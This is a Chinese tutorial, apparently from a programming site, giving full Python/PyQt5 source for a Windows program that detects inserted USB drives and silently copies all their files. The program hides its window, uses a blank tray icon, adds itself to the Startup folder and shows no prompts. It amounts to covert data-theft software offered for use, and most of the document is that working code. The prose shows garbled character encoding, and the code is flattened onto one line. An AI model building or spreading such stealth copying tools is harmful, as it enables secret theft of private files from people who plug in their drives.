使用Python實(shí)現(xiàn)U盤數(shù)據(jù)自動(dòng)拷貝
功能
當(dāng)電腦上有U盤插入時(shí),自動(dòng)復(fù)制U盤內(nèi)的所有內(nèi)容
主要特點(diǎn)
1、使用PyQt5創(chuàng)建圖形界面,但默認(rèn)隱藏
2、通過(guò)Ctrl+Alt+U組合鍵可以顯示/隱藏界面
3、自動(dòng)添加到Windows啟動(dòng)項(xiàng)
4、監(jiān)控USB設(shè)備插入
5、按修改時(shí)間排序復(fù)制文件
6、靜默運(yùn)行,無(wú)提示
7、自動(dòng)跳過(guò)無(wú)法復(fù)制的文件
8、配置文件保存目標(biāo)路徑
使用說(shuō)明
1、首次運(yùn)行時(shí),按Ctrl+Alt+U顯示界面
2、點(diǎn)擊"選擇目標(biāo)文件夾"按鈕設(shè)置保存位置
3、設(shè)置完成后可以關(guān)閉界面,程序會(huì)在后臺(tái)運(yùn)行
4、插入U(xiǎn)盤后會(huì)自動(dòng)復(fù)制內(nèi)容到指定文件夾
靜默界面
實(shí)現(xiàn)代碼
import os import sys import time import json import shutil import ctypes from ctypes import wintypes import win32file import win32api import win32con import win32gui import win32com.client import pythoncom import win32event import winerror from datetime import datetime from threading import Thread from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, QPushButton, QFileDialog, QLabel, QSystemTrayIcon) from PyQt5.QtCore import Qt, QTimer, QEvent from PyQt5.QtGui import QIcon, QPixmap class USBCopyTool(QMainWindow): def __init__(self): super().__init__() self.config_file = 'config.json' self.target_path = self.load_config() self.init_ui() self.setup_system_tray() self.setup_hotkey() # 添加窗口事件過(guò)濾器 self.installEventFilter(self) # 啟動(dòng)USB監(jiān)控線程 self.monitor_thread = Thread(target=self.monitor_usb, daemon=True) self.monitor_thread.start() def init_ui(self): self.setWindowTitle('USB自動(dòng)復(fù)制工具') self.setGeometry(300, 300, 400, 200) central_widget = QWidget() self.setCentralWidget(central_widget) layout = QVBoxLayout() self.path_label = QLabel(f'當(dāng)前目標(biāo)路徑: {self.target_path}') layout.addWidget(self.path_label) select_btn = QPushButton('選擇目標(biāo)文件夾') select_btn.clicked.connect(self.select_target_path) layout.addWidget(select_btn) central_widget.setLayout(layout) self.hide() def setup_system_tray(self): self.tray_icon = QSystemTrayIcon(self) # 創(chuàng)建一個(gè)1x1的空白圖標(biāo)而不是完全沒(méi)有圖標(biāo) blank_icon = QIcon() blank_icon.addPixmap(QPixmap(1, 1)) self.tray_icon.setIcon(blank_icon) self.tray_icon.show() def setup_hotkey(self): # 注冊(cè)全局熱鍵 (Ctrl+Alt+U) self.hot_key_id = 1 try: win32gui.RegisterHotKey(self.winId(), self.hot_key_id, win32con.MOD_CONTROL | win32con.MOD_ALT, ord('U')) except Exception as e: print(f"熱鍵注冊(cè)失敗: {e}") def nativeEvent(self, eventType, message): try: if eventType == "windows_generic_MSG": msg = wintypes.MSG.from_address(message.__int__()) if msg.message == win32con.WM_HOTKEY: if self.isVisible(): self.hide() else: self.show() return True, 0 except Exception as e: print(f"事件處理錯(cuò)誤: {e}") return False, 0 def load_config(self): try: with open(self.config_file, 'r') as f: config = json.load(f) return config.get('target_path', '') except: return '' def save_config(self): with open(self.config_file, 'w') as f: json.dump({'target_path': self.target_path}, f) def select_target_path(self): path = QFileDialog.getExistingDirectory(self, '選擇目標(biāo)文件夾') if path: self.target_path = path self.path_label.setText(f'當(dāng)前目標(biāo)路徑: {self.target_path}') self.save_config() def monitor_usb(self): drives_before = set(win32api.GetLogicalDriveStrings().split('\000')[:-1]) print(f"初始驅(qū)動(dòng)器: {drives_before}") while True: try: drives_now = set(win32api.GetLogicalDriveStrings().split('\000')[:-1]) new_drives = drives_now - drives_before if new_drives: print(f"檢測(cè)到新驅(qū)動(dòng)器: {new_drives}") for drive in new_drives: drive_type = win32file.GetDriveType(drive) print(f"驅(qū)動(dòng)器 {drive} 類型: {drive_type}") if drive_type == win32con.DRIVE_REMOVABLE: print(f"開(kāi)始復(fù)制U盤 {drive} 內(nèi)容") self.copy_usb_contents(drive) drives_before = drives_now time.sleep(1) except Exception as e: print(f"監(jiān)控錯(cuò)誤: {e}") time.sleep(1) def copy_usb_contents(self, drive): if not self.target_path: print("未設(shè)置目標(biāo)路徑") return # 獲取U盤卷標(biāo)名稱 try: volume_name = win32api.GetVolumeInformation(drive)[0] # 如果U盤沒(méi)有卷標(biāo)名稱,則使用盤符 if not volume_name: volume_name = os.path.splitdrive(drive)[0].rstrip(':\\') # 替換非法字符 volume_name = ''.join(c for c in volume_name if c not in r'\/:*?"<>|') except Exception as e: print(f"獲取卷標(biāo)名稱失敗: {e}") volume_name = os.path.splitdrive(drive)[0].rstrip(':\\') target_folder = os.path.join(self.target_path, volume_name) print(f"復(fù)制到目標(biāo)文件夾: {target_folder}") if not os.path.exists(target_folder): os.makedirs(target_folder) # 獲取所有文件并按修改時(shí)間排序 all_files = [] try: for root, dirs, files in os.walk(drive): print(f"掃描目錄: {root}") for file in files: file_path = os.path.join(root, file) try: mtime = os.path.getmtime(file_path) all_files.append((file_path, mtime)) except Exception as e: print(f"無(wú)法獲取文件信息: {file_path}, 錯(cuò)誤: {e}") continue except Exception as e: print(f"掃描目錄失敗: {e}") all_files.sort(key=lambda x: x[1], reverse=True) print(f"找到 {len(all_files)} 個(gè)文件") # 復(fù)制文件 for file_path, _ in all_files: try: rel_path = os.path.relpath(file_path, drive) target_path = os.path.join(target_folder, rel_path) target_dir = os.path.dirname(target_path) if not os.path.exists(target_dir): os.makedirs(target_dir) print(f"復(fù)制文件: {file_path} -> {target_path}") shutil.copy2(file_path, target_path) except Exception as e: print(f"復(fù)制失敗: {file_path}, 錯(cuò)誤: {e}") continue def eventFilter(self, obj, event): if obj is self and event.type() == QEvent.WindowStateChange: if self.windowState() & Qt.WindowMinimized: # 延遲執(zhí)行隱藏操作,避免界面閃爍 QTimer.singleShot(0, self.hide) # 恢復(fù)窗口狀態(tài),這樣下次顯示時(shí)是正常狀態(tài) self.setWindowState(Qt.WindowNoState) return True return super().eventFilter(obj, event) def add_to_startup(): try: startup_path = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup') script_path = os.path.abspath(sys.argv[0]) shortcut_path = os.path.join(startup_path, 'USBCopyTool.lnk') shell = win32com.client.Dispatch("WScript.Shell") shortcut = shell.CreateShortCut(shortcut_path) shortcut.Targetpath = script_path shortcut.WorkingDirectory = os.path.dirname(script_path) shortcut.save() except Exception as e: print(f"添加到啟動(dòng)項(xiàng)失敗: {e}") if __name__ == '__main__': # 確保只運(yùn)行一個(gè)實(shí)例 mutex = win32event.CreateMutex(None, 1, 'USBCopyTool_Mutex') if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: mutex = None sys.exit(0) add_to_startup() app = QApplication(sys.argv) tool = USBCopyTool() sys.exit(app.exec_())
以上就是使用Python實(shí)現(xiàn)U盤數(shù)據(jù)自動(dòng)拷貝的詳細(xì)內(nèi)容,更多關(guān)于Python U盤數(shù)據(jù)拷貝的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
Python實(shí)現(xiàn)博客快速備份的腳本分享
本文針對(duì)博客園實(shí)現(xiàn)了一個(gè)自動(dòng)備份腳本,可以快速將自己的文章備份成Markdown格式的獨(dú)立文件,備份后的md文件可以直接放入到hexo博客中,感興趣的可以了解一下2022-09-09python實(shí)現(xiàn)進(jìn)度條的多種實(shí)現(xiàn)
這篇文章主要介紹了python實(shí)現(xiàn)進(jìn)度條的多種實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2021-04-04